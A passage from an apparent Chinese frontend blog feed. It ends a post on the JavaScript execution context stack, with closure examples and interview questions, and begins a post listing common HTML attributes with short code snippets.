&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-005/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;全局上下文入栈之后，其中的可执行代码开始执行，直到遇到了&lt;code&gt;changeColor()&lt;/code&gt; ，这一句激活函数&lt;code&gt;changeColor&lt;/code&gt;创建它自己的执行上下文，因此第二步就是changeColor的执行上下文入栈。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-005/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;changeColor的上下文入栈之后，控制器开始执行其中的可执行代码，遇到&lt;code&gt;swapColors()&lt;/code&gt;之后又激活了一个执行上下文。因此第三步是swapColors的执行上下文入栈。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-005/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;在swapColors的可执行代码中，再没有遇到其他能生成执行上下文的情况，因此这段代码顺利执行完毕，swapColors的上下文从栈中弹出。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-005/image-05.webp"&gt;&lt;/p&gt;
&lt;p&gt;swapColors的执行上下文弹出之后，继续执行changeColor的可执行代码，也没有再遇到其他执行上下文，顺利执行完毕之后弹出。这样，ECStack中就只身下全局上下文了。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-005/image-06.webp"&gt;&lt;/p&gt;
&lt;p&gt;全局上下文在浏览器窗口关闭后出栈。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：函数中，遇到return能直接终止可执行代码的执行，因此会直接将当前上下文弹出栈。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-005/image-07.webp"&gt;&lt;/p&gt;
&lt;p&gt;详细了解了这个过程之后，我们就可以对执行上下文总结一些结论了。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;单线程&lt;/li&gt;
&lt;li&gt;同步执行，只有栈顶的上下文处于执行中，其他上下文需要等待&lt;/li&gt;
&lt;li&gt;全局上下文只有唯一的一个，它在浏览器关闭时出栈&lt;/li&gt;
&lt;li&gt;函数的执行上下文的个数没有限制&lt;/li&gt;
&lt;li&gt;每次某个函数被调用，就会有个新的执行上下文为其创建，即使是调用的自身函数，也是如此。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为了巩固一下执行上下文的理解，我们再来绘制一个例子的演变过程，这是一个简单的闭包例子。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;f1&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;n&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;999&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;f2&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;n&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;f2&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;f1&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// 999
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;因为f1中的函数f2在f1的可执行代码中，并没有被调用执行，因此执行f1时，f2不会创建新的上下文，而直到result执行时，才创建了一个新的。具体演变过程如下。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-005/image-08.webp"&gt;&lt;/p&gt;
&lt;p&gt;最后留一个简单的例子，大家可以自己脑补一下这个例子在执行过程中执行上下文的变化情况。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;window&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Perter&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;getName&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 利用变量保存的方式保证其访问的是p对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;self&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;self&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getName&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getName&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getName&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;_name&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;执行上下文的定义&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;什么是执行上下文？它在 JavaScript 中有哪些类型？&lt;/li&gt;
&lt;li&gt;执行上下文在代码执行时是如何被创建和销毁的？&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;执行上下文的生命周期&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;执行上下文的创建和执行过程有哪些阶段？（例如，创建阶段和执行阶段）&lt;/li&gt;
&lt;li&gt;请描述执行上下文在创建阶段进行的三个步骤：变量对象的创建、作用域链的建立、&lt;code&gt;this&lt;/code&gt; 的绑定。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;变量对象（Variable Object）&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;什么是变量对象？它在执行上下文中的作用是什么？&lt;/li&gt;
&lt;li&gt;变量提升是如何与变量对象关联的？在函数声明和变量声明时有何不同？&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="4"&gt;
&lt;li&gt;&lt;strong&gt;作用域链&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;执行上下文是如何通过作用域链来访问变量的？&lt;/li&gt;
&lt;li&gt;请解释在嵌套函数的情况下，作用域链是如何建立的？&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="5"&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;this&lt;/code&gt; 绑定&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;在不同的执行上下文中，&lt;code&gt;this&lt;/code&gt; 的值是如何确定的？（例如，全局上下文、函数上下文、箭头函数）&lt;/li&gt;
&lt;li&gt;如何解释在不同函数调用方式下 &lt;code&gt;this&lt;/code&gt; 的指向差异？&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="6"&gt;
&lt;li&gt;&lt;strong&gt;执行上下文栈&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;什么是执行上下文栈？它如何管理代码执行的顺序？&lt;/li&gt;
&lt;li&gt;JavaScript 引擎如何利用执行上下文栈来实现函数的嵌套调用和返回？&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="7"&gt;
&lt;li&gt;&lt;strong&gt;块级作用域的影响&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;ES6 中引入的 &lt;code&gt;let&lt;/code&gt; 和 &lt;code&gt;const&lt;/code&gt; 是如何影响执行上下文的？&lt;/li&gt;
&lt;li&gt;如何解释块级作用域在执行上下文中的特殊处理？&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="8"&gt;
&lt;li&gt;&lt;strong&gt;常见问题与调试&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;如何通过理解执行上下文来排查变量未定义、&lt;code&gt;this&lt;/code&gt; 指向错误等常见问题？&lt;/li&gt;
&lt;li&gt;请解释某个你遇到的实际问题，以及如何通过分析执行上下文来解决它的。&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>HTML 常见属性</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-005/</link><pubDate>Tue, 15 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-005/</guid><description>&lt;p&gt;HTML 元素的属性是用于控制元素行为或样式的附加信息。&lt;/p&gt;
&lt;p&gt;以下是一些常见的 HTML 属性：&lt;/p&gt;
&lt;h3 id="1-通用属性global-attributes"&gt;1. &lt;strong&gt;通用属性（Global Attributes）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;这些属性几乎可以应用于所有 HTML 元素：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;id&lt;/code&gt;&lt;/strong&gt;：元素的唯一标识符，用于 JavaScript 或 CSS 选择。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;main&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;class&lt;/code&gt;&lt;/strong&gt;：为元素指定一个或多个类名，用于 CSS 样式或 JavaScript 操作。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;container header&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;style&lt;/code&gt;&lt;/strong&gt;：为元素设置内联样式。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;color: red;&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;title&lt;/code&gt;&lt;/strong&gt;：为元素提供额外信息，当鼠标悬停在元素上时显示。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;button&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;title&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Click me!&amp;#34;&lt;/span&gt;&amp;gt;Click&amp;lt;/&lt;span style="color:#f92672"&gt;button&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;data-*&lt;/code&gt;&lt;/strong&gt;：自定义属性，用于存储私有数据，以 &lt;code&gt;data-&lt;/code&gt; 为前缀，可以通过 JavaScript 访问。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;data-user-id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;123&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-事件属性event-attributes"&gt;2. &lt;strong&gt;事件属性（Event Attributes）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;这些属性用于处理元素上的事件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;onclick&lt;/code&gt;&lt;/strong&gt;：定义单击事件处理函数。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;button&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;onclick&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;alert(&amp;#39;Clicked!&amp;#39;)&amp;#34;&lt;/span&gt;&amp;gt;Click me&amp;lt;/&lt;span style="color:#f92672"&gt;button&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;onmouseover&lt;/code&gt;&lt;/strong&gt;：鼠标悬停时触发的事件。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;onmouseover&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;console.log(&amp;#39;Mouse over&amp;#39;)&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;onkeydown&lt;/code&gt;&lt;/strong&gt;：按下键盘时触发的事件。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;onkeydown&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;handleKeyDown(event)&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3-表单相关属性"&gt;3. &lt;strong&gt;表单相关属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;type&lt;/code&gt;&lt;/strong&gt;：定义输入框类型，例如 &lt;code&gt;text&lt;/code&gt;、&lt;code&gt;password&lt;/code&gt;、&lt;code&gt;email&lt;/code&gt; 等。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;name&lt;/code&gt;&lt;/strong&gt;：定义表单元素的名称，用于表单提交。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;value&lt;/code&gt;&lt;/strong&gt;：定义表单元素的默认值。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Default value&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;placeholder&lt;/code&gt;&lt;/strong&gt;：为输入框提供占位符文本，提示用户输入。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;placeholder&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Enter your name&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;disabled&lt;/code&gt;&lt;/strong&gt;：禁用输入元素，使其不可交互。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;disabled&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;required&lt;/code&gt;&lt;/strong&gt;：标记表单元素为必填项。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;required&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="4-链接和资源加载属性"&gt;4. &lt;strong&gt;链接和资源加载属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;href&lt;/code&gt;&lt;/strong&gt;：用于指定超链接的目标 URL。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
